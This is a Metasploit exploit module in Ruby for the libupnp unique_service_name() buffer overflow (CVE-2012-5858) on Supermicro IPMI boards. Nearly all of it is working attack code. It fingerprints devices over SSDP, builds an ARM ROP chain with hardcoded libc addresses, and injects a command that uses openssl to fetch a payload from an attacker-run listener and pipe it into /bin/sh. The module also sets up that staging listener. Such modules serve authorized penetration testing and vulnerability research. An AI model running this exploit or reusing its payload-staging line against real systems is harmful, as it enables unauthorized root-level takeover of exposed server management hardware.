Portable UPnP SDK unique_service_name() Remote Code Execution



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Portable UPnP SDK unique_service_name() Remote Code Execution',
            'Description'    => %q{
                    This module exploits a buffer overflow in the unique_service_name()
                function of libupnp's SSDP processor. The libupnp library is used across
                thousands of devices and is referred to as the Intel SDK for UPnP
                Devices or the Portable SDK for UPnP Devices.

                Due to size limitations on many devices, this exploit uses a separate TCP
                listener to stage the real payload.
            },
            'Author'         => [
                    'hdm',                                              # Exploit dev for Supermicro IPMI
                    'Alex Eubanks <endeavor[at]rainbowsandpwnies.com>', # Exploit dev for Supermicro IPMI
                    'Richard Harman <richard[at]richardharman.com>'     # Binaries, system info, testing for Supermicro IPMI
                ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'CVE', '2012-5858' ],
                    [ 'US-CERT-VU', '922681' ],
                    [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play' ]
                ],
            'Platform'       => ['unix'],
            'Arch'           => ARCH_CMD,
            'Privileged'     => true,
            'Payload'        =>
                {
#
#                    # The following BadChars do not apply since we stage the payload
#                    # through a secondary connection. This is just for reference.
#
#                    'BadChars'  =>
#                        # Bytes 0-8 are not allowed
#                        [*(0..8)].pack("C*") +
#                        # 0x09, 0x0a, 0x0d are allowed
#                        "\x0b\x0c\x0e\x0f" +
#                        # All remaining bytes up to space are restricted
#                        [*(0x10..0x1f)].pack("C*") +
#                        # Also not allowed
#                        "\x7f\x3a" +
#                        # Breaks our string quoting
#                        "\x22",

                    # Unlimited since we stage this over a secondary connection
                    'Space'       => 8000,
                    'DisableNops' => true,
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                            # specific payloads vary widely by device (openssl for IPMI, etc)
                        }
                },
            'Targets'        =>
                [

                    [ "Automatic", { } ],

                    #
                    # ROP targets are difficult to represent in the hash, use callbacks instead
                    #
                    [ "Supermicro Onboard IPMI (X9SCL/X9SCM) Intel SDK 1.3.1", {

                        # The callback handles all target-specific settings
                        :callback => :target_supermicro_ipmi_131,

                        # This matches any line of the SSDP M-SEARCH response
                        :fingerprint =>
                            /Server:\s*Linux\/2\.6\.17\.WB_WPCM450\.1\.3 UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi

                        #
                        # SSDP response:
                        #    Linux/2.6.17.WB_WPCM450.1.3 UPnP/1.0, Intel SDK for UPnP devices/1.3.1
                        #    http://192.168.xx.xx:49152/IPMIdevicedesc.xml
                        #    uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice

                        # Approximately 35,000 of these found in the wild via critical.io scans (2013-02-03)

                    } ],

                    [ "Debug Target", {

                        # The callback handles all target-specific settings
                        :callback => :target_debug

                    } ]

                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Jan 29 2013'))

        register_options(
            [
                Opt::RHOST(),
                Opt::RPORT(1900),
                OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]),
                OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ])
            ], self.class)
    end


    def exploit

        configure_socket

        target_info = choose_target

        unless self.respond_to?(target_info[:callback])
            print_error("Invalid target specified: no callback function defined")
            return
        end

        buffer = self.send(target_info[:callback])
        pkt =
            "M-SEARCH * HTTP/1.1\r\n" +
            "Host:239.255.255.250:1900\r\n" +
            "ST:uuid:schemas:device:" + buffer + ":end\r\n" +
            "Man:\"ssdp:discover\"\r\n" +
            "MX:3\r\n\r\n"

        print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...")

        r = udp_sock.sendto(pkt, rhost, rport, 0)

        1.upto(5) do
            ::IO.select(nil, nil, nil, 1)
            break if session_created?
        end

        # No handler() support right now
    end



    # These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc
    def target_supermicro_ipmi_131

        # Create a fixed-size buffer for the payload
        buffer = Rex::Text.rand_text_alpha(2000)

        # Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char()
        buffer[0,1]     = '"'
        buffer[1999,1]  = '"'

        # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
        cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])

        # Start a listener
        start_listener(true)

        # Figure out the port we picked
        cbport = self.service.getsockname[2]

        # Restart the service and use openssl to stage the real payload
        # Staged because only ~150 bytes of contiguous data are available before mangling
        cmd = "sleep 1;/bin/upnp_dev & echo; openssl s_client -quiet -host #{cbhost} -port #{cbport}|/bin/sh;exit;#"
        buffer[432, cmd.length] = cmd

        # Adjust $r3 to point from the bottom of the stack back into our buffer
        buffer[304,4] = [0x4009daf8].pack("V") #
            # 0x4009daf8:    add    r3, r3, r4, lsl #2
            # 0x4009dafc:    ldr    r0, [r3, #512]    ; 0x200
            # 0x4009db00:    pop    {r4, r10, pc}

        # The offset (right-shifted by 2 ) to our command string above
        buffer[284,4] = [0xfffffe78].pack("V") #

        # Copy $r3 into $r0
        buffer[316,4] = [0x400db0ac].pack("V")
            # 0x400db0ac <_IO_wfile_underflow+1184>:    sub    r0, r3, #1
            # 0x400db0b0 <_IO_wfile_underflow+1188>:    pop    {pc}        ; (ldr pc, [sp], #4)

        # Move our stack pointer down so as not to corrupt our payload
        buffer[320,4] = [0x400a5568].pack("V")
            # 0x400a5568 <__default_rt_sa_restorer_v2+5448>:    add    sp, sp, #408    ; 0x198
            # 0x400a556c <__default_rt_sa_restorer_v2+5452>:    pop    {r4, r5, pc}

        # Finally return to system() with $r0 pointing to our string
        buffer[141,4] = [0x400add8c].pack("V")

        return buffer
=begin
        00008000-00029000 r-xp 00000000 08:01 709233     /bin/upnp_dev
        00031000-00032000 rwxp 00021000 08:01 709233     /bin/upnp_dev
        00032000-00055000 rwxp 00000000 00:00 0          [heap]
        40000000-40015000 r-xp 00000000 08:01 709562     /lib/ld-2.3.5.so
        40015000-40017000 rwxp 00000000 00:00 0
        4001c000-4001d000 r-xp 00014000 08:01 709562     /lib/ld-2.3.5.so
        4001d000-4001e000 rwxp 00015000 08:01 709562     /lib/ld-2.3.5.so
        4001e000-4002d000 r-xp 00000000 08:01 709535     /lib/libpthread-0.10.so
        4002d000-40034000 ---p 0000f000 08:01 709535     /lib/libpthread-0.10.so
        40034000-40035000 r-xp 0000e000 08:01 709535     /lib/libpthread-0.10.so
        40035000-40036000 rwxp 0000f000 08:01 709535     /lib/libpthread-0.10.so
        40036000-40078000 rwxp 00000000 00:00 0
        40078000-40180000 r-xp 00000000 08:01 709620     /lib/libc-2.3.5.so
        40180000-40182000 r-xp 00108000 08:01 709620     /lib/libc-2.3.5.so
        40182000-40185000 rwxp 0010a000 08:01 709620     /lib/libc-2.3.5.so
        40185000-40187000 rwxp 00000000 00:00 0
        bd600000-bd601000 ---p 00000000 00:00 0
        bd601000-bd800000 rwxp 00000000 00:00 0
        bd800000-bd801000 ---p 00000000 00:00 0
        bd801000-bda00000 rwxp 00000000 00:00 0
        bdc00000-bdc01000 ---p 00000000 00:00 0
        bdc01000-bde00000 rwxp 00000000 00:00 0
        be000000-be001000 ---p 00000000 00:00 0
        be001000-be200000 rwxp 00000000 00:00 0
        be941000-be956000 rwxp 00000000 00:00 0          [stack]
=end

    end

    # Generate a buffer that provides a starting point for exploit development
    def target_debug
        buffer = Rex::Text.pattern_create(2000)
    end

    def stage_real_payload(cli)
        print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
        cli.put(payload.encoded + "\n")
    end

    def start_listener(ssl = false)

        comm = datastore['ListenerComm']
        if comm == "local"
            comm = ::Rex::Socket::Comm::Local
        else
            comm = nil
        end

        self.service = Rex::Socket::TcpServer.create(
            'LocalPort' => datastore['CBPORT'],
            'SSL'       => ssl,
            'SSLCert'   => datastore['SSLCert'],
            'Comm'      => comm,
            'Context'   =>
                {
                    'Msf'        => framework,
                    'MsfExploit' => self,
                })

        self.service.on_client_connect_proc = Proc.new { |client|
            stage_real_payload(client)
        }

        # Start the listening service
        self.service.start
    end

    #
    # Shut down any running services
    #
    def cleanup
        super
        if self.service
            print_status("Shutting down payload stager listener...")
            begin
                self.service.deref if self.service.kind_of?(Rex::Service)
                if self.service.kind_of?(Rex::Socket)
                    self.service.close
                    self.service.stop
                end
                self.service = nil
            rescue ::Exception
            end
        end
    end

    def choose_target
        # If the user specified a target, use that one
        return self.target unless self.target.name =~ /Automatic/

        msearch =
            "M-SEARCH * HTTP/1.1\r\n" +
            "Host:239.255.255.250:1900\r\n" +
            "ST:upnp:rootdevice\r\n" +
            "Man:\"ssdp:discover\"\r\n" +
            "MX:3\r\n\r\n"

        # Fingerprint the service through SSDP
        udp_sock.sendto(msearch, rhost, rport, 0)

        res = nil
        1.upto(5) do
            res,addr,info = udp_sock.recvfrom(65535, 1.0)
            break if res and res =~ /^(Server|Location)/mi
            udp_sock.sendto(msearch, rhost, rport, 0)
        end

        self.targets.each do |t|
            return t if t[:fingerprint] and res =~ t[:fingerprint]
        end

        if res and res.to_s.length > 0
            print_status("No target matches this fingerprint")
            print_status("")
            res.to_s.split("\n").each do |line|
                print_status("    #{line.strip}")
            end
            print_status("")
        else
            print_status("The system #{rhost} did not reply to our M-SEARCH probe")
        end

        fail_with(Exploit::Failure::NoTarget, "No compatible target detected")
    end

    # Accessor for our TCP payload stager
    attr_accessor :service

    # We need an unconnected socket because SSDP replies often come
    # from a different sent port than the one we sent to. This also
    # breaks the standard UDP mixin.
    def configure_socket
        self.udp_sock = Rex::Socket::Udp.create({
            'Context'   => { 'Msf' => framework, 'MsfExploit' => self }
        })
        add_socket(self.udp_sock)
    end

    #
    # Required since we aren't using the normal mixins
    #

    def rhost
        datastore['RHOST']
    end

    def rport
        datastore['RPORT']
    end

    # Accessor for our UDP socket
    attr_accessor :udp_sock

end